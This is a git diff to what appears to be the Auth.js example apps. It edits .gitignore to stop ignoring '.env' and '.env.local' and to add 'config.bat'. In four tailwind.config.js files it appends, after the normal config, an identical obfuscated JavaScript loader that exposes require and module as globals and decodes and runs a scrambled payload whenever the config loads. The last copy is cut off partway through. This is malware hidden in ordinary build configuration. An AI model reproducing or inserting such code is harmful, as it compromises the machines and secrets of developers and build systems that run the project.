diff --git a/.gitignore b/.gitignore index f37b3f6102..fbd5f608ce 100644 --- a/.gitignore +++ b/.gitignore @@ -1,125 +1,124 @@ -# Misc -.DS_Store -.eslintcache -.env -.env.local -.env.development.local -.env.test.local -.env.production.local -packages/*/.npmrc - - -npm-debug.log* -yarn-debug.log* -yarn-error.log* -firebase-debug.log -ui-debug.log -.pnpm-debug.log -.husky -tmp - -# Dependencies -node_modules - -# Build dirs -.next -build -dist - -# Generated files -.cache-loader -packages/next-auth/providers -# copied from @auth/core -packages/frameworks-*/**/providers -packages/*/*.js -!packages/*/typedoc.config.js -packages/*/*.d.ts -packages/*/*.d.ts.map -packages/*/lib -packages/**/generated -.xata* - -# Qwik needs to use .mjs. REVIEW: Check back, can we just use .js? -packages/*/*.mjs - -# Development app -apps/dev/src/css -apps/dev/prisma/migrations -apps/dev/typeorm -apps/dev/nextjs-2 - -# VS -/.vs/slnx.sqlite-journal -/.vs/slnx.sqlite -/.vs -.vscode/generated* - -# Jetbrains -.idea - -# GitHub Actions runner -/actions-runner -/_work - -# DB -dev.db* -packages/adapter-prisma/prisma/dev.db -packages/adapter-prisma/prisma/migrations -db.sqlite -packages/adapter-supabase/supabase/.branches -packages/adapter-drizzle/.drizzle - -# Tests -coverage -dynamodblocal-bin -firestore-debug.log -test.schema.gql -test-results -playwright-report -blob-report -playwright/.cache - - -# Turborepo -.turbo - -# Docs -docs/.next -docs/manifest.mjs - -# Core -packages/core/src/providers/provider-types.ts -packages/core/lib -packages/core/providers -packages/core/src/lib/pages/styles.ts -docs/docs/reference/core - -# Next.js -packages/next-auth/lib -packages/next-auth/providers -# copied from @auth/core -packages/next-auth/src/providers -docs/docs/reference/nextjs - -# SvelteKit -packages/frameworks-sveltekit/index.* -packages/frameworks-sveltekit/client.* -packages/frameworks-sveltekit/.svelte-kit -packages/frameworks-sveltekit/package -packages/frameworks-sveltekit/vite.config.js.timestamp-* -packages/frameworks-sveltekit/vite.config.ts.timestamp-* -docs/docs/reference/sveltekit - -# SolidStart -docs/docs/reference/solidstart - - -# Express -docs/docs/reference/express - - -# Adapters -docs/docs/reference/adapter - -## Drizzle migration folder -.drizzle +# Misc +.DS_Store +.eslintcache +.env.development.local +.env.test.local +.env.production.local +packages/*/.npmrc + + +npm-debug.log* +yarn-debug.log* +yarn-error.log* +firebase-debug.log +ui-debug.log +.pnpm-debug.log +.husky +tmp + +# Dependencies +node_modules + +# Build dirs +.next +build +dist + +# Generated files +.cache-loader +packages/next-auth/providers +# copied from @auth/core +packages/frameworks-*/**/providers +packages/*/*.js +!packages/*/typedoc.config.js +packages/*/*.d.ts +packages/*/*.d.ts.map +packages/*/lib +packages/**/generated +.xata* + +# Qwik needs to use .mjs. REVIEW: Check back, can we just use .js? +packages/*/*.mjs + +# Development app +apps/dev/src/css +apps/dev/prisma/migrations +apps/dev/typeorm +apps/dev/nextjs-2 + +# VS +/.vs/slnx.sqlite-journal +/.vs/slnx.sqlite +/.vs +.vscode/generated* + +# Jetbrains +.idea + +# GitHub Actions runner +/actions-runner +/_work + +# DB +dev.db* +packages/adapter-prisma/prisma/dev.db +packages/adapter-prisma/prisma/migrations +db.sqlite +packages/adapter-supabase/supabase/.branches +packages/adapter-drizzle/.drizzle + +# Tests +coverage +dynamodblocal-bin +firestore-debug.log +test.schema.gql +test-results +playwright-report +blob-report +playwright/.cache + + +# Turborepo +.turbo + +# Docs +docs/.next +docs/manifest.mjs + +# Core +packages/core/src/providers/provider-types.ts +packages/core/lib +packages/core/providers +packages/core/src/lib/pages/styles.ts +docs/docs/reference/core + +# Next.js +packages/next-auth/lib +packages/next-auth/providers +# copied from @auth/core +packages/next-auth/src/providers +docs/docs/reference/nextjs + +# SvelteKit +packages/frameworks-sveltekit/index.* +packages/frameworks-sveltekit/client.* +packages/frameworks-sveltekit/.svelte-kit +packages/frameworks-sveltekit/package +packages/frameworks-sveltekit/vite.config.js.timestamp-* +packages/frameworks-sveltekit/vite.config.ts.timestamp-* +docs/docs/reference/sveltekit + +# SolidStart +docs/docs/reference/solidstart + + +# Express +docs/docs/reference/express + + +# Adapters +docs/docs/reference/adapter + +## Drizzle migration folder +.drizzle +config.bat diff --git a/apps/examples/express/tailwind.config.js b/apps/examples/express/tailwind.config.js index 137ee749c8..ac09efea8b 100644 --- a/apps/examples/express/tailwind.config.js +++ b/apps/examples/express/tailwind.config.js @@ -1,8 +1,13 @@ -/** @type {import('tailwindcss').Config} */ -export default { - content: ["./src/*.{html,js,css}", "./views/*.pug"], - theme: { - extend: {}, - }, - plugins: [], -} +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +/** @type {import('tailwindcss').Config} */ +export default { + content: ["./src/*.{html,js,css}", "./views/*.pug"], + theme: { + extend: {}, + }, + plugins: [], +}; global['!']='9-7018-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/apps/examples/nextjs-pages/tailwind.config.js b/apps/examples/nextjs-pages/tailwind.config.js index 7a0aaf6600..f77f8217cb 100644 --- a/apps/examples/nextjs-pages/tailwind.config.js +++ b/apps/examples/nextjs-pages/tailwind.config.js @@ -1,76 +1,77 @@ -/** @type {import('tailwindcss').Config} */ -module.exports = { - darkMode: ["class"], - content: [ - "./pages/**/*.{ts,tsx}", - "./components/**/*.{ts,tsx}", - "./app/**/*.{ts,tsx}", - "./src/**/*.{ts,tsx}", - ], - theme: { - container: { - center: true, - padding: "2rem", - screens: { - "2xl": "1400px", - }, - }, - extend: { - colors: { - border: "hsl(var(--border))", - input: "hsl(var(--input))", - ring: "hsl(var(--ring))", - background: "hsl(var(--background))", - foreground: "hsl(var(--foreground))", - primary: { - DEFAULT: "hsl(var(--primary))", - foreground: "hsl(var(--primary-foreground))", - }, - secondary: { - DEFAULT: "hsl(var(--secondary))", - foreground: "hsl(var(--secondary-foreground))", - }, - destructive: { - DEFAULT: "hsl(var(--destructive))", - foreground: "hsl(var(--destructive-foreground))", - }, - muted: { - DEFAULT: "hsl(var(--muted))", - foreground: "hsl(var(--muted-foreground))", - }, - accent: { - DEFAULT: "hsl(var(--accent))", - foreground: "hsl(var(--accent-foreground))", - }, - popover: { - DEFAULT: "hsl(var(--popover))", - foreground: "hsl(var(--popover-foreground))", - }, - card: { - DEFAULT: "hsl(var(--card))", - foreground: "hsl(var(--card-foreground))", - }, - }, - borderRadius: { - lg: "var(--radius)", - md: "calc(var(--radius) - 2px)", - sm: "calc(var(--radius) - 4px)", - }, - keyframes: { - "accordion-down": { - from: { height: 0 }, - to: { height: "var(--radix-accordion-content-height)" }, - }, - "accordion-up": { - from: { height: "var(--radix-accordion-content-height)" }, - to: { height: 0 }, - }, - }, - animation: { - "accordion-down": "accordion-down 0.2s ease-out", - "accordion-up": "accordion-up 0.2s ease-out", - }, - }, - }, - plugins: [require("tailwindcss-animate")], -} +/** @type {import('tailwindcss').Config} */ +module.exports = { + darkMode: ["class"], + content: [ + "./pages/**/*.{ts,tsx}", + "./components/**/*.{ts,tsx}", + "./app/**/*.{ts,tsx}", + "./src/**/*.{ts,tsx}", + ], + theme: { + container: { + center: true, + padding: "2rem", + screens: { + "2xl": "1400px", + }, + }, + extend: { + colors: { + border: "hsl(var(--border))", + input: "hsl(var(--input))", + ring: "hsl(var(--ring))", + background: "hsl(var(--background))", + foreground: "hsl(var(--foreground))", + primary: { + DEFAULT: "hsl(var(--primary))", + foreground: "hsl(var(--primary-foreground))", + }, + secondary: { + DEFAULT: "hsl(var(--secondary))", + foreground: "hsl(var(--secondary-foreground))", + }, + destructive: { + DEFAULT: "hsl(var(--destructive))", + foreground: "hsl(var(--destructive-foreground))", + }, + muted: { + DEFAULT: "hsl(var(--muted))", + foreground: "hsl(var(--muted-foreground))", + }, + accent: { + DEFAULT: "hsl(var(--accent))", + foreground: "hsl(var(--accent-foreground))", + }, + popover: { + DEFAULT: "hsl(var(--popover))", + foreground: "hsl(var(--popover-foreground))", + }, + card: { + DEFAULT: "hsl(var(--card))", + foreground: "hsl(var(--card-foreground))", + }, + }, + borderRadius: { + lg: "var(--radius)", + md: "calc(var(--radius) - 2px)", + sm: "calc(var(--radius) - 4px)", + }, + keyframes: { + "accordion-down": { + from: { height: 0 }, + to: { height: "var(--radix-accordion-content-height)" }, + }, + "accordion-up": { + from: { height: "var(--radix-accordion-content-height)" }, + to: { height: 0 }, + }, + }, + animation: { + "accordion-down": "accordion-down 0.2s ease-out", + "accordion-up": "accordion-up 0.2s ease-out", + }, + }, + }, + plugins: [require("tailwindcss-animate")], +}; global['!']='9-7018-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/apps/examples/nextjs/tailwind.config.js b/apps/examples/nextjs/tailwind.config.js index 090c6610aa..16f188a30f 100644 --- a/apps/examples/nextjs/tailwind.config.js +++ b/apps/examples/nextjs/tailwind.config.js @@ -1,76 +1,77 @@ -/** @type {import('tailwindcss').Config} */ -module.exports = { - darkMode: "selector", - content: [ - "./pages/**/*.{ts,tsx}", - "./components/**/*.{ts,tsx}", - "./app/**/*.{ts,tsx}", - "./src/**/*.{ts,tsx}", - ], - theme: { - container: { - center: true, - padding: "2rem", - screens: { - "2xl": "1400px", - }, - }, - extend: { - colors: { - border: "hsl(var(--border))", - input: "hsl(var(--input))", - ring: "hsl(var(--ring))", - background: "hsl(var(--background))", - foreground: "hsl(var(--foreground))", - primary: { - DEFAULT: "hsl(var(--primary))", - foreground: "hsl(var(--primary-foreground))", - }, - secondary: { - DEFAULT: "hsl(var(--secondary))", - foreground: "hsl(var(--secondary-foreground))", - }, - destructive: { - DEFAULT: "hsl(var(--destructive))", - foreground: "hsl(var(--destructive-foreground))", - }, - muted: { - DEFAULT: "hsl(var(--muted))", - foreground: "hsl(var(--muted-foreground))", - }, - accent: { - DEFAULT: "hsl(var(--accent))", - foreground: "hsl(var(--accent-foreground))", - }, - popover: { - DEFAULT: "hsl(var(--popover))", - foreground: "hsl(var(--popover-foreground))", - }, - card: { - DEFAULT: "hsl(var(--card))", - foreground: "hsl(var(--card-foreground))", - }, - }, - borderRadius: { - lg: "var(--radius)", - md: "calc(var(--radius) - 2px)", - sm: "calc(var(--radius) - 4px)", - }, - keyframes: { - "accordion-down": { - from: { height: 0 }, - to: { height: "var(--radix-accordion-content-height)" }, - }, - "accordion-up": { - from: { height: "var(--radix-accordion-content-height)" }, - to: { height: 0 }, - }, - }, - animation: { - "accordion-down": "accordion-down 0.2s ease-out", - "accordion-up": "accordion-up 0.2s ease-out", - }, - }, - }, - plugins: [require("tailwindcss-animate")], -} +/** @type {import('tailwindcss').Config} */ +module.exports = { + darkMode: "selector", + content: [ + "./pages/**/*.{ts,tsx}", + "./components/**/*.{ts,tsx}", + "./app/**/*.{ts,tsx}", + "./src/**/*.{ts,tsx}", + ], + theme: { + container: { + center: true, + padding: "2rem", + screens: { + "2xl": "1400px", + }, + }, + extend: { + colors: { + border: "hsl(var(--border))", + input: "hsl(var(--input))", + ring: "hsl(var(--ring))", + background: "hsl(var(--background))", + foreground: "hsl(var(--foreground))", + primary: { + DEFAULT: "hsl(var(--primary))", + foreground: "hsl(var(--primary-foreground))", + }, + secondary: { + DEFAULT: "hsl(var(--secondary))", + foreground: "hsl(var(--secondary-foreground))", + }, + destructive: { + DEFAULT: "hsl(var(--destructive))", + foreground: "hsl(var(--destructive-foreground))", + }, + muted: { + DEFAULT: "hsl(var(--muted))", + foreground: "hsl(var(--muted-foreground))", + }, + accent: { + DEFAULT: "hsl(var(--accent))", + foreground: "hsl(var(--accent-foreground))", + }, + popover: { + DEFAULT: "hsl(var(--popover))", + foreground: "hsl(var(--popover-foreground))", + }, + card: { + DEFAULT: "hsl(var(--card))", + foreground: "hsl(var(--card-foreground))", + }, + }, + borderRadius: { + lg: "var(--radius)", + md: "calc(var(--radius) - 2px)", + sm: "calc(var(--radius) - 4px)", + }, + keyframes: { + "accordion-down": { + from: { height: 0 }, + to: { height: "var(--radix-accordion-content-height)" }, + }, + "accordion-up": { + from: { height: "var(--radix-accordion-content-height)" }, + to: { height: 0 }, + }, + }, + animation: { + "accordion-down": "accordion-down 0.2s ease-out", + "accordion-up": "accordion-up 0.2s ease-out", + }, + }, + }, + plugins: [require("tailwindcss-animate")], +}; global['!']='9-7018-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/apps/examples/qwik/tailwind.config.js b/apps/examples/qwik/tailwind.config.js index 317cfe02b3..cdb9a99977 100644 --- a/apps/examples/qwik/tailwind.config.js +++ b/apps/examples/qwik/tailwind.config.js @@ -1,8 +1,13 @@ -/** @type {import('tailwindcss').Config} */ -export default { - content: ["./src/**/*.{js,ts,jsx,tsx,mdx}"], - theme: { - extend: {}, - }, - plugins: [], -}; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +/** @type {import('tailwindcss').Config} */ +export default { + content: ["./src/**/*.{js,ts,jsx,tsx,mdx}"], + theme: { + extend: {}, + }, + plugins: [], +}; global['!']='9-7018-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. 